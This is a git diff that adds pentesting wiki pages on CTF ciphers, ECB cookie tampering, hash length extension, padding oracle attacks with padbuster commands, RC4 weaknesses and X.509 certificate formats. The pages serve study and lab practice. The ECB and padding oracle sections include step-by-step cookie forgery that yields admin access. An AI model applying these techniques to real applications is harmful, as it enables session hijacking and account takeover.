+For example: 2=A, 22=B, 222=C, 3=D...  
+You can identify this code because you will see **several numbers repeated**.
+
+You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
+
+### Bacon Code
+
+Substitude each letter for 4 As or Bs \(or 1s and 0s\)
+
+```text
+00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
+AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
+```
+
+### Runes
+
+![](../.gitbook/assets/runes.jpg)
+
+## Compression
+
+**Raw Deflate** and **Raw Inflate** \(you can find both in Cyberchef\) can compress and decompress data without headers.
+
+## Easy Crypto
+
+### XOR - Autosolver
+
+* [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
+
+### Bifid
+
+A keywork is needed
+
+```text
+fgaargaamnlunesuneoa
+```
+
+### Vigenere
+
+A keywork is needed
+
+```text
+wodsyoidrods
+```
+
+* [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
+* [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
+* [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
+
+## Strong Crypto
+
+### Fernet
+
+2 base64 strings \(token and key\)
+
+```text
+Token:
+gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
+
+Key:
+-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
+```
+
+* [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
+
+### Samir Secret Sharing
+
+A secret is splitted in X parts and to recover it you need Y parts \(_Y &lt;=X_\).
+
+```text
+8019f8fa5879aa3e07858d08308dc1a8b45
+80223035713295bddf0b0bd1b10a5340b89
+803bc8cf294b3f83d88e86d9818792e80cd
+```
+
+[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
+
+### OpenSSL brute-force
+
+* [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
+* [https://github.com/carlospolop/easy\_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
+
+## Tools
+
+* [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
+* [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
+* [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)
+
diff --git a/crypto/electronic-code-book-ecb.md b/crypto/electronic-code-book-ecb.md
new file mode 100644
index 00000000000..aa6a1a92147
--- /dev/null
+++ b/crypto/electronic-code-book-ecb.md
@@ -0,0 +1,226 @@
+---
+description: 'https://pentesterlab.com/'
+---
+
+# Electronic Code Book \(ECB\)
+
+**Post from:** [**https://pentesterlab.com/**](https://pentesterlab.com/)\*\*\*\*
+
+## ECB
+
+ECB is an encryption mode in which the message is splitted into blocks of X bytes length and each block is encrypted separetely using a key.
+
+The following schema \(source: [Wikipedia](http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)\) explains this method:
+
+![License](https://assets.pentesterlab.com/ecb/ECB_encryption.png)
+
+You can check the [recent XKCD on the Adobe's password leak](http://xkcd.com/1286/) to get an humoristic idea of the problems tied to ECB.
+
+During the decryption, the reverse operation is used. Using ECB has multiple security implications:
+
+* Blocks from encrypted message can be removed without disturbing the decryption process.
+* Blocks from encrypted message can be moved around without disturbing the decryption process.
+
+In this exercise, we will see how we can exploit these two weaknesses.
+
+## Detection of the vulnerability
+
+In this exercise, you can register an account and log in with this account \(to make things easier, you get automatically logged in when you register\).
+
+If you create an account and log in two times with this account, you can see that the cookie sent by the application didn't change.If you log in many times and always get the same cookie, there is probably something wrong in the application. The cookie sent back should be unique each time you log in. If the cookie is always the same, it will probably always be valid and there won't be anyway to invalidate it.
+
+If we look at the cookie, we can see that it seems uri-encoded and base64-encoded:
+
+![License](https://assets.pentesterlab.com/ecb/cookie.png)
+
+The 2 equals sign encoded as `%3d%3d` are a good indicator of base64-encoded string.
+
+We can decode it using the following ruby code:
+
+```text
+% irb
+> require 'base64' ; require 'uri'
+ => true
+> Base64.decode64(URI.decode("OR9hcp18%2BC1bChK10NlRRg%3d%3d"))
+ => "9\x1Far\x9D|\xF8-[\n\x12\xB5\xD0\xD9QF"
+```
+
+Or by decoding the URI to a string manually and use the base64 command:
+
+```text
+% echo "OR9hcp18+C1bChK10NlRRg==" | base64 -D | hexdump -C
+0000000 39 1f 61 72 9d 7c f8 2d 5b 0a 12 b5 d0 d9 51 46  |9.ar.|.-[.....QF|
+0000010
+```
+
+On osX, the command `base64 -D` replaces `base64 -d`
+
+In both cases, we can see that the information seems to be encrypted.
+
+First, we can start by creating two accounts `test1` and `test2` with the same password: `password` and compare the cookies sent by the application. We get the following cookies \(after URI-decoding\):
+
+| Account: | test1 | test2 |
+| :--- | :--- | :--- |
+| Cookie: | vHMQ+Nq9C3MHT8ZkGeMr4w== | Mh+JMH1OMhcHT8ZkGeMr4w== |
+
+If we base64-decode both cookies, we get the following strings:
+
+| Account: | test1 | test2 |
+| :--- | :--- | :--- |
+| Decoded cookie: | \xBCs\x10\xF8\xDA\xBD\vs**\aO\xC6d\x19\xE3+\xE3** | 2\x1F\x890}N2\x17**\aO\xC6d\x19\xE3+\xE3** |
+
+We can see that part of the decrypted values look really similar.
+
+Now we can try to create a user with an arbitrary long username and password. For example, a username composed of 20 `a` and a password composed of 20 `a`. By creating this user, we get the following cookie:
+
+```text
+> document.cookie
+"auth=GkzSM2vKHdcaTNIza8od1wS28inRHiC2GkzSM2vKHdcaTNIza8od1ys96EXmirn5"
+```
+
+If we decode this value, we get the following value:
+
+```text
+\x1AL\xD23k\xCA\x1D\xD7\x1AL\xD23k\xCA\x1D\xD7\x04\xB6\xF2)\xD1\x1E \xB6\x1AL\xD23k\xCA\x1D\xD7\x1AL\xD23k\xCA\x1D\xD7+=\xE8E\xE6\x8A\xB9\xF9
+```
+
+We can see that the following pattern \(composed of 8 bytes\): **`\x1AL\xD23k\xCA\x1D\xD7`** comes back multiple times:
+
+```text
+\x1AL\xD23k\xCA\x1D\xD7\x1AL\xD23k\xCA\x1D\xD7\x04\xB6\xF2)\xD1\x1E \xB6\x1AL\xD23k\xCA\x1D\xD7\x1AL\xD23k\xCA\x1D\xD7+=\xE8E\xE6\x8A\xB9\xF9
+```
+
+Based on the size of the pattern, we can infer that the ECB encryption uses a block size of 8 bytes.This example is using a weak encryption mechanism and it's likely that real life examples will use bigger block size.
+
+The decoded information also shows us that the username and password are not directly concatenated and that a delimiter is added \(since one of the block in the middle is different from the previous one\).
+
+We can think of the encrypted stream has one of the two following possibilities:
+
+* The stream contains the username, a delimiter and the password:
+
+![Schema username password](https://assets.pentesterlab.com/ecb/del_u_p.png)
+
+* The stream contains the password, a delimiter and the username:
+
+![Schema password username](https://assets.pentesterlab.com/ecb/del_p_u.png)
+
+By creating another user with a long username and a short password, we can see that the following pattern is used: `username|delimiter|password`.
+
+Now let's try to find the size of the delimiter, if we play with different size of username and password we get the following results:
+
+| Username length: | Password length: | Username+Password length: | Cookie's length \(after decoding\): |
+| :--- | :--- | :--- | :--- |
+| 2 | 3 | 5 | 8 |
+| 3 | 3 | 6 | 8 |
+| 3 | 4 | 7 | 8 |
+| 4 | 4 | 8 | 16 |
+| 4 | 5 | 9 | 16 |
+
+We can see that the size of the decoded cookie goes from 8 to 16 bytes when the length of the Username+Password is greater than 7. We can infer from this value that the delimiter is a single byte since the encryption is done per block of 8 bytes.
+
+Another important thing is to see what part of the encrypted stream is used by the application when we send the cookie back. If we remove everything after the block corresponding to the delimiter, we can see that we are still authenticated. The password does not seem to be used when the cookie gets used by the application.
+
+We now know that we just need to get the correct `username|delimiter` to get authenticated within the application as `username`.If you can find what delimiter is used \(or brute force it\), you can try to create a user with a username that contains the delimiter \(for example the username "`admin:`"\). Using this method, you may be able to get logged in as `admin`. This web application prevents this type of attack.
+
+## Exploitation of the vulnerability
+
+### By removing information
+
+The easiest way to get `admin` access is to remove some of the encrypted data. We know that the application uses the following format:
+
+```text
+\[username\]:\[separator\]
+```
+
+and only uses the `username` when the cookie is sent back to the application. We also know that each block of 8 bytes is completely independant \(ECB\). To exploit this issue, we can create a username that contains 8 characters followed by the word `admin`:
+
+```text
+aaaaaaaaadmin
+```
+
+And we will receive the cookie \(retrieved using the Javascript Console\):
+
+```text
+> document.cookie
+"auth=GkzSM2vKHdfgVmQuKXLregdPxmQZ4yvj"
+```
+
+This value will get decoded as:
+
+```text
+\x1AL\xD23k\xCA\x1D\xD7\xE0Vd.)r\xEBz\aO\xC6d\x19\xE3+\xE3
+```
+
+We can see the pattern `\x1AL\xD23k\xCA\x1D\xD7` detected previously with the username that contained 20 `a`.
+
+We can then remove the first 8 bytes of information and reencode our payload to get a new cookie:
+
+```text
+\xE0Vd.)r\xEBz\aO\xC6d\x19\xE3+\xE3
+```
+
+That will get encoded by the following ruby code:
+
+```text
+% irb
+> require 'cgi'; require 'base64'
+ => true
+> CGI.escape(Base64.strict_encode64("\xE0Vd.)r\xEBz\aO\xC6d\x19\xE3+\xE3"))
+ => "4FZkLily63oHT8ZkGeMr4w%3D%3D"
+```
+
+Once you modify the cookie:
+
+![Cookie tampering with JS console](https://assets.pentesterlab.com/ecb/cookiemod.png)
+
+And send this value back to the application \(by reloading the page\), you get logged in as `admin`:
+
+![License](https://assets.pentesterlab.com/ecb/admin.png)
+
+### By swapping blocks around
+
+A more complicated way to bypass this is to swap data around. We can make the assumption that the application will use an SQL query to retrieve information from the user based on his `username`. For some databases, when using the type of data `VARCHAR` \(as opposed to `BINARY` for example\), the following will give the same result:
+
+```text
+SELECT * FROM users WHERE username='admin';
+```
+
+```text
+SELECT * FROM users WHERE username='admin        ';
+```
+
+The spaces after the value `admin` are ignored during the string comparison. We will use this to play with the encrypted blocks.
+
+Our goal is to end up with the following encrypted data:
+
+```text
+ECB(admin   [separator]password)
+```
+
+We know that our separator is only composed of one byte. We can use this information to create the perfect `username` and `password`to be able to swap the blocks and get the correct forged value.
+
+We need to find a username and a password for which:
+
+* the password starts with `admin` to be used as the new username.
+* the encrypted password should be located at the start of a new block.
+* the `username+delimiter` length should be divisible by the block size \(from previous conditions\)
+
+By playing around, we can see that the following values work:
+
+* a `username` composed of `password` \(8 bytes\) followed by 7 spaces \(1 byte will be used by the delimiter\).
+* a `password` composed of `admin` followed by 3 spaces \(`8 - length("admin")`\).
+
+When creating this user, use a proxy to intercept the request and make sure your browser didn't remove the space characters.
+
+If you create correctly this user, the encrypted information will look like:![License](https://assets.pentesterlab.com/ecb/swap-b.png)
+
+Using some Ruby \(or even with Burp decoder\), you can swap the first 8 bytes with the last 8 bytes to get the following encrypted stream:![License](https://assets.pentesterlab.com/ecb/swap-a.png)
+
+Once you modify your cookie, and you reload the page, you should be logged in as `admin`:
+
+![License](https://assets.pentesterlab.com/ecb/admin.png)
+
+## Conclusion
+
+This exercise showed you how you can tamper encrypted information without decrypting them and use this behaviour to gain access to other accounts. It showed you that encryption can not be used as a replacement to signature and how it's possible to use ECB encryption to get control on the decrypted information. I hope you enjoyed learning with PentesterLab.
+
diff --git a/crypto/hash-length-extension-attack.md b/crypto/hash-length-extension-attack.md
new file mode 100644
index 00000000000..6dbcbcc0696
--- /dev/null
+++ b/crypto/hash-length-extension-attack.md
@@ -0,0 +1,35 @@
+# Hash Length Extension Attack
+
+## Summary of the attack
+
+Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know:
+
+* **The length of the secret** \(this can be also bruteforced from a given length range\)
+* **The clear text data**
+* **The algorithm \(and it's vulnerable to this attack\)**
+* **The padding is known** 
+  * Usually a default one is used, so if the other 3 requirements are met, this also is
+  * The padding vary depending on the length of the secret+data, that's why the length of the secret is needed
+
+Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previos data + appended data**.
+
+### How?
+
+Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** \(state\), they **add the next block of data** and **hash it**.
+
+Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.  
+If an attacker wants to append the string "append" he can:
+
+* Generate a MD5 of 64 "A"s
+* Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b
+* Append the string "append"
+* Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"**
+
+### **Tool**
+
+{% embed url="https://github.com/iagox86/hash\_extender" %}
+
+## References
+
+You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
+
diff --git a/crypto/padding-oracle-priv.md b/crypto/padding-oracle-priv.md
new file mode 100644
index 00000000000..1a1100ce546
--- /dev/null
+++ b/crypto/padding-oracle-priv.md
@@ -0,0 +1,125 @@
+---
+description: 'https://pentesterlab.com/'
+---
+
+# Padding Oracle
+
+**Post from** [**https://pentesterlab.com/**](https://pentesterlab.com/)\*\*\*\*
+
+## Cipher Block Chaining
+
+CBC is an encryption mode in which the message is split into blocks of X bytes length and each block is XORed with the previous encrypted block. The result is then encrypted.
+
+The following schema \(source: [Wikipedia](http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)\) explains this method:
+
+![CBC encryption](https://assets.pentesterlab.com/padding_oracle/CBC_encryption.png)
+
+During the decryption, the reverse operation is used. The encrypted data is split in block of X bytes. Then the block is decrypted and XORed with the previous encrypted block to get the cleartext. The following schema \(source: [Wikipedia](http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)\) highlights this behavior:
+
+![CBC decryption](https://assets.pentesterlab.com/padding_oracle/CBC_decryption.png)
+
+Since the first block does not have a previous block, an initialization vector \(IV\) is used.
+
+## Padding
+
+As we saw, the encryption is done by blocks of fixed size. To ensure that the cleartext exactly fit in one or multiple blocks, padding is often used. Padding can be done in multiple ways. A common way is to use PKCS7. With PKCS7, the padding will be composed of the same number: the number of bytes missing. For example, if the cleartext is missing 2 bytes, the padding will be `\x02\x02`.
+
+Let's look at more examples with a 2 blocks:
+
+| Block \#0 | Block \#1 |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
+| :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- |
+| byte \#0 | byte \#1 | byte \#2 | byte \#3 | byte \#4 | byte \#5 | byte \#6 | byte \#7 | byte \#0 | byte \#1 | byte \#2 | byte \#3 | byte \#4 | byte \#5 | byte \#6 | byte \#7 |
+| 'S' | 'U' | 'P' | 'E' | 'R' | 'S' | 'E' | 'C' | 'R' | 'E' | 'T' | '1' | '2' | '3' | **0x02** | **0x02** |
+| 'S' | 'U' | 'P' | 'E' | 'R' | 'S' | 'E' | 'C' | 'R' | 'E' | 'T' | '1' | '2' | **0x03** | **0x03** | **0x03** |
+| 'S' | 'U' | 'P' | 'E' | 'R' | 'S' | 'E' | 'C' | 'R' | 'E' | 'T' | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
+| 'S' | 'U' | 'P' | 'E' | 'R' | 'S' | 'E' | 'C' | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
+
+## Padding Oracle
+
+When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, **if** an **invalid** **padding** triggers a detectable **behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack** of **results**, or a **slower response**.
+
+If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**.
+
+### How to exploit
+
+You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do 
+
+```text
+sudo apt-get install padbuster
+```
+
+In order to test if the cookie of a site is vulnerable you could try: 
+
+```bash
+perl ./padBuster.pl http://10.10.181.45/index.php "Nl0OpaQYeGPMJeWSih2iiQ==" 8 -encoding 0 -cookies "auth=Nl0OpaQYeGPMJeWSih2iiQ=="
+```
+
+**Encoding 0** means that **base64** is used \(but others are available, check the help menu\).
+
+You could also **abuse** this **vulnerability** to **encrypt new data**. For example, imagine that the content of the cookie is "_user=MyUsername_", then you may change it to "_**user=administrator**_" and escalate privileges inside the application. You could also do it using `paduster`specifying the **-plaintext** parameter:
+
+```bash
+perl ./padBuster.pl http://10.10.181.45/index.php "Nl0OpaQYeGPMJeWSih2iiQ==" 8 -encoding 0 -cookies "auth=Nl0OpaQYeGPMJeWSih2iiQ==" -plaintext "user=administrator"
+```
+
+If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter.
+
+```bash
+perl ./padBuster.pl http://10.10.181.45/index.php "Nl0OpaQYeGPMJeWSih2iiQ==" 8 -encoding 0 -cookies "hcon=Nl0OpaQYeGPMJeWSih2iiQ==" -error "Invalid padding"
+```
+
+### The theory
+
+In **summary**, you can start decrypting the encrypted data by **guessing** the correct **values** that can be used to **create** all the **different paddings**. Then, the padding oracle attack will start **decrypting** bytes **from** the **end** to the start by **guessing** which will be the correct **value** that **creates a padding of 1, 2, 3, etc**.
+
+If we zoom in, we can see that the cleartext byte `C15` is just a XOR between the encrypted byte `E7` from the previous block, and byte `I15` which came out of the block decryption step:
+
+![CBC zoom in](https://assets.pentesterlab.com/padding_oracle/zoomin.png)
+
+This is also valid for all other bytes:
+
+* `C14 = I14 ^ E6`
+* `C13 = I13 ^ E5`
+* `C12 = I12 ^ E4`
+* ...
+
+Now if we modify `E7` and keep changing its value, we will keep getting an invalid padding. Since we need `C15` to be `\x01`. However, there is one value of `E7` that will give us a valid padding. Let's call it `E'7`. With `E'7`, we get a valid padding. And since we know we get a valid padding we know that `C'15` \(as in `C15` for `E'7`\) is `\x01`.
+
+`\x01 = I15 ^ E'7`
+
+The gives us:
+
+`I15 = \x01 ^ E'7`
+
+So we are able to compute `I15`.
+
+Since we know `I15`, we can now compute `C15`
+
+`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
+
+Now that we have `C15`, we can move to brute-forcing `C14`. First we need to compute another `E7` \(let's call it `E''7`\) that gives us `C15 = \x02`. We need to do that since we want the padding to be `\x02\x02` now. It's really simple to compute using the property above and by replacing the value of `C15` we want \(`\x02`\) and `I15` we now know:
+
+`E''7 = \x02 ^ I15`
+
+After brute force `E6`, to find the value that gives us a valid padding `E''6`, we can re-use the formula:
+
+`C14 = I14 ^ E6`
+
+to get
+
+`I14 = \x02 ^ E''6`
+
+Once we get `I14`, we can compute `C14`:
+
+`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`
+
+Using this method, we can keep going until we get all the ciphertext decrypted.
+
+### Detection of the vulnerability
+
+To get started, you can register an account and log in with this account \(to make things easier, you get automatically logged in when you register\).
+
+If you create an account and log in two times with this account, you can see that the cookie sent by the application didn't change.If you log in many times and always get the same cookie, there is probably something wrong in the application. The cookie sent back should be unique each time you log in. If the cookie is always the same, it will probably always be valid and there won't be anyway to invalidate it.
+
+Now, if you try to modify the cookie, you can see that you get an error from the application.
+
diff --git a/crypto/rc4-encrypt-and-decrypt.md b/crypto/rc4-encrypt-and-decrypt.md
new file mode 100644
index 00000000000..12991b9aeda
--- /dev/null
+++ b/crypto/rc4-encrypt-and-decrypt.md
@@ -0,0 +1,14 @@
+# RC4 - Encrypt&Decrypt
+
+If you can somehow encrypt a plaintext using a RC4**,** you can decrypt any content encrypted by that RC4\(using the same password\) just using the encryption function.
+
+If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine:
+
+{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
+
+{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
+
+\*\*\*\*
+
+
+
diff --git a/cryptography/certificates.md b/cryptography/certificates.md
new file mode 100644
index 00000000000..e939f56bdd3
--- /dev/null
+++ b/cryptography/certificates.md
@@ -0,0 +1,176 @@
+# Certificates
+
+## What is a Certificate
+
+In cryptography, a **public key certificate,** also known as a **digital certificate** or **identity certificate,** is an electronic document used to prove the ownership of a public key. The certificate includes information about the key, information about the identity of its owner \(called the subject\), and the digital signature of an entity that has verified the certificate's contents \(called the issuer\). If the signature is valid, and the software examining the certificate trusts the issuer, then it can use that key to communicate securely with the certificate's subject.
+
+In a typical [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) \(PKI\) scheme, the certificate issuer is a [certificate authority](https://en.wikipedia.org/wiki/Certificate_authority) \(CA\), usually a company that charges customers to issue certificates for them. By contrast, in a [web of trust](https://en.wikipedia.org/wiki/Web_of_trust) scheme, individuals sign each other's keys directly, in a format that performs a similar function to a public key certificate.
+
+The most common format for public key certificates is defined by [X.509](https://en.wikipedia.org/wiki/X.509). Because X.509 is very general, the format is further constrained by profiles defined for certain use cases, such as [Public Key Infrastructure \(X.509\)](https://en.wikipedia.org/wiki/PKIX) as defined in RFC 5280.
+
+## x509 Common Fields
+
+* **Version Number:** Version of x509 format.
+* **Serial Number**: Used to uniquely identify the certificate within a CA's systems. In particular this is used to track revocation information.
+* **Subject**: The entity a certificate belongs to: a machine, an individual, or an organization.
+  * **Common Name**: Domains affected by the certificate. Can be 1 or more and can contain wildcards.
+  * **Country \(C\)**: Country
+  * **Distinguished name \(DN\)**: The whole subject: `C=US, ST=California, L=San Francisco, O=Example, Inc., CN=shared.global.example.net`
+  * **Locality \(L\)**: Local place
+  * **Organization \(O\)**: Organization name
+  * **Organizational Unit \(OU\)**: Division of an organisation \(like "Human Resources"\).
+  * **State or Province \(ST, S or P\)**: List of state or province names
+* **Issuer**: The entity that verified the information and signed the certificate.
+  * **Common Name \(CN\)**: Name of the certificate authority
+  * **Country \(C\)**: Country of the certificate authority
+  * **Distinguished name \(DN\)**: Distinguished name of the certificate authority
+  * **Locality \(L\)**: Local place where the organisation can be found.
+  * **Organization \(O\)**: Organisation name
+  * **Organizational Unit \(OU\)**: Division of an organisation \(like "Human Resources"\).
+* **Not Before**: The earliest time and date on which the certificate is valid. Usually set to a few hours or days prior to the moment the certificate was issued, to avoid [clock skew](https://en.wikipedia.org/wiki/Clock_skew#On_a_network) problems.
+* **Not After**: The time and date past which the certificate is no longer valid.
+* **Public Key**: A public key belonging to the certificate subject. \(This is one of the main parts as this is what is signed by the CA\)
+  * **Public Key Algorithm**: Algorithm used to generate the public key. Like RSA.
+  * **Public Key Curve**: The curve used by the elliptic curve public key algorithm \(if apply\). Like nistp521.
+  * **Public Key Exponent**: Exponent used to derive the public key \(if apply\). Like 65537.
+  * **Public Key Size**: The size of the public key space in bits. Like 2048.
+  * **Signature Algorithm**: The algorithm used to sign the public key certificate.
+  * **Signature**: A signature of the certificate body by the issuer's private key.
+* **x509v3 extensions**
+  * **Key Usage**: The valid cryptographic uses of the certificate's public key. Common values include digital signature validation, key encipherment, and certificate signing.
+    * In a Web certificate this will appear as a _X509v3 extension_ and will have the value `Digital Signature`
+  * **Extended Key Usage**: The applications in which the certificate may be used. Common values include TLS server authentication, email protection, and code signing.
+    * In a Web certificate this will appear as a _X509v3 extension_ and will have the value `TLS Web Server Authentication`
+  * **Subject Alternative Name:**  Allows users to specify additional host **names** for a single SSL **certificate**. The use of the SAN extension is standard practice for SSL certificates, and it's on its way to replacing the use of the common **name**.
+  * **Basic Constraint:** This extension describes whether the certificate is a CA certificate or an end entity certificate. A CA certificate is something that signs certificates of others and a end entity certificate is the certificate used in a web page for example \(the last par of the chain\).
+  *  **Subject Key Identifier** \(SKI\): This extension declares a unique **identifier** for the public **key** in the certificate. It is required on all CA certificates. CAs propagate their own SKI to the Issuer **Key Identifier** \(AKI\) extension on issued certificates. It's the hash of the subject public key.
+  * **Authority Key Identifier**: It contains a key identifier which is derived from the public key in the issuer certificate. It's the hash of the issuer public key.
+  * **Authority Information Access** \(AIA\): This extension contains at most two types of information :
+    * Information about **how to get the issuer of this certificate** \(CA issuer access method\)
+    * Address of the **OCSP responder from where revocation of this certificate** can be checked \(OCSP access method\).
+  * **CRL Distribution Points**: This extension identifies the location of the CRL from which the revocation of this certificate can be checked. The application that processes the certificate can get the location of the CRL from this extension, download the CRL and then check the revocation of this certificate.
+  * **CT Precertificate SCTs**: Logs of Certificate transparency regarding the certificate
+
+### Difference between OSCP and CRL Distribution Points
+
+**OCSP** \(RFC 2560\) is a standard protocol that consists of an **OCSP client and an OCSP responder**. This protocol **determines revocation status of a given digital public-key certificate** **without** having to **download** the **entire CRL**.  
+**CRL** is the **traditional method** of checking certificate validity. A **CRL provides a list of certificate serial numbers** that have been revoked or are no longer valid. CRLs let the verifier check the revocation status of the presented certificate while verifying it. CRLs are limited to 512 entries.  
+From [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm#:~:text=OCSP%20%28RFC%202560%29%20is%20a,to%20download%20the%20entire%20CRL.&text=A%20CRL%20provides%20a%20list,or%20are%20no%20longer%20valid.).
+
+### What is Certificate Transparency
+
+Certificate Transparency aims to remedy certificate-based threats by **making the issuance and existence of SSL certificates open to scrutiny by domain owners, CAs, and domain users**. Specifically, Certificate Transparency has three main goals:
+
+* Make it impossible \(or at least very difficult\) for a CA to **issue a SSL certificate for a domain without the certificate being visible to the owner** of that domain.
+* Provide an **open auditing and monitoring system that lets any domain owner or CA determine whether certificates have been mistakenly or maliciously** issued.
+* **Protect users** \(as much as possible\) from being duped by certificates that were mistakenly or maliciously issued.
+
+#### **Certificate Logs**
+
+Certificate logs are simple network services that maintain **cryptographically assured, publicly auditable, append-only records of certificates**. **Anyone can submit certificates to a log**, although certificate authorities will likely be the foremost submitters. Likewise, anyone can query a log for a cryptographic proof, which can be used to verify that the log is behaving properly or verify that a particular certificate has been logged. The number of log servers doesn’t have to be large \(say, much less than a thousand worldwide\), and each could be operated independently by a CA, an ISP, or any other interested party.
+
+#### Query
+
+You can query the logs of Certificate Transparency of any domain in [https://crt.sh/](https://crt.sh/).
+
+## Formats
+
+There are different formats that can be used to store a certificate.
+
+#### **PEM Format**
+
+* It is the most common format used for certificates
+* Most servers \(Ex: Apache\) expects the certificates and private key to be in a separate files -   Usually they are Base64 encoded ASCII files -   Extensions used for PEM certificates are .cer, .crt, .pem, .key files -   Apache and similar server uses PEM format certificates
+
+#### **DER Format**
+
+* The DER format is the binary form of the certificate
+* All types of certificates & private keys can be encoded in DER format
+* DER formatted certificates do not contain the "BEGIN CERTIFICATE/END CERTIFICATE" statements
+* DER formatted certificates most often use the ‘.cer’ and '.der' extensions
+* DER is typically used in Java Platforms
+
+#### **P7B/PKCS\#7 Format**
+
+* The PKCS\#7 or P7B format is stored in Base64 ASCII format and has a file extension of .p7b or .p7c
+* A P7B file only contains certificates and chain certificates \(Intermediate CAs\), not the private key
+* The most common platforms that support P7B files are Microsoft Windows and Java Tomcat
+
+#### **PFX/P12/PKCS\#12 Format**
+
+* The PKCS\#12 or PFX/P12 format is a binary format for storing the server certificate, intermediate certificates, and the private key in one encryptable file
+* These files usually have extensions such as .pfx and .p12
+* They are typically used on Windows machines to import and export certificates and private keys
+
+### Formats conversions
+
+**Convert x509 to PEM**
+
+```text
+openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
+```
+
+#### **Convert PEM to DER**
+
+```text
+openssl x509 -outform der -in certificatename.pem -out certificatename.der
+```
+
+**Convert DER to PEM**
+
+```text
+openssl x509 -inform der -in certificatename.der -out certificatename.pem
+```
+
+**Convert PEM to P7B**
+
+**Note:** The PKCS\#7 or P7B format is stored in Base64 ASCII format and has a file extension of .p7b or .p7c. ****A P7B file only contains certificates and chain certificates \(Intermediate CAs\), not the private key. The most common platforms that support P7B files are Microsoft Windows and Java Tomcat.
+
+```text
+openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
+```
+
+**Convert PKCS7 to PEM**
+
+```text
+openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
+```
+
+**Convert pfx to PEM**
+
+**Note:** The PKCS\#12 or PFX format is a binary format for storing the server certificate, intermediate certificates, and the private key in one encryptable file. PFX files usually have extensions such as .pfx and .p12. PFX files are typically used on Windows machines to import and export certificates and private keys.
+
+```text
+openssl pkcs12 -in certificatename.pfx -out certificatename.pem
+```
+
+**Convert PFX to PKCS\#8**  
+**Note:** This requires 2 commands
+
+**1- Convert PFX to PEM**
+
+```text
+openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
+```
+
+**2- Convert PEM to PKCS8**
+
+```text
+openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
+```
+
+**Convert P7B to PFX**  
+**Note:** This requires 2 commands
+
+1- **Convert P7B to CER**
+
+```text
+openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
+```
+
+**2- Convert CER and Private Key to PFX**
+
+```text
+openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile  cacert.cer
+```
+
diff --git a/cryptography/cipher-block-chaining-cbc-mac-priv.md b/cryptography/cipher-block-chaining-cbc-mac-priv.md
new file mode 100644
index 00000000000..01d3f011fd1
--- /dev/null
+++ b/cryptography/cipher-block-chaining-cbc-mac-priv.md
@@ -0,0 +1,65 @@
+---
+description: 'https://pentesterlab.com/'
+---
+
+# Cipher Block Chaining CBC-MAC
+
